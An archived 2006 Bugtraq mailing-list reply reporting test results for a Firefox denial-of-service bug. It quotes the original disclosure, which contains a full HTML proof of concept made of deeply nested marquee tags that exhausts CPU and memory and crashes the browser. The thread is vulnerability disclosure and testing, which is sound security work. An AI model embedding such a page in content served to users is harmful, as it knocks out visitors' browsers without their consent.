Bugtraq mailing list archives

Re: Fire fox dos exploit

From: Phil Trainor <ptrainor () imperfectnetworks com>
Date: Wed, 31 May 2006 13:14:41 -0700

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I was able to use this proof of concept code with the following results:

With Firefox 1.0.8 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)
Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8)
I was able to cause a resource exhaustion with firefox increasing cpu
cycles and memory allocation well beyond normal utilization but without
crashing.

With Firefox 1.5.0.3 (Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3)
Firefox causes resource exhaustion to the point of crashing the application.

Josh Zlatin-Amishav wrote:

On Tue, 30 May 2006, co296 () aol com wrote:

I have found a problem which causes denial of service on fire fox browser



Can you give us some more details, like versions and platforms affected?
I was unable to recreate this flaw using firefox 1.5.dfsg+1.5.0 on
Debian unstable.

-- 
 - Josh


Creadit:to n00b for finding this bug..

the problem lie's in the

<marquee> html tag uses 100% cpu and crash's the browser..

Following proof of concept available

<html>
<head>
<title>Credit to n00b..</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></mar

ue

e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>

</body>
</html>


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Current thread:

Re: Fire fox dos exploit pagvac (Jun 04)
- <Possible follow-ups>
- RE: Fire fox dos exploit Andy (Jun 04)
  - RE: Fire fox dos exploit Sanjay Rawat (Jun 05)
    - RE: Fire fox dos exploit Jaroslaw Sajko (Jun 07)
- Re: Fire fox dos exploit Ronald van den Blink (Jun 04)
- Re: Fire fox dos exploit Yannick von Arx (Jun 04)
- Re: Re: Fire fox dos exploit vincenzo . ampolo (Jun 04)
- Re: Fire fox dos exploit Phil Trainor (Jun 04)
- Re: Fire fox dos exploit Ronald van den Blink (Jun 04)
- Re: Fire fox dos exploit Aaron Hopkins (Jun 04)
- Re: Re: Fire fox dos exploit al4321 (Jun 07)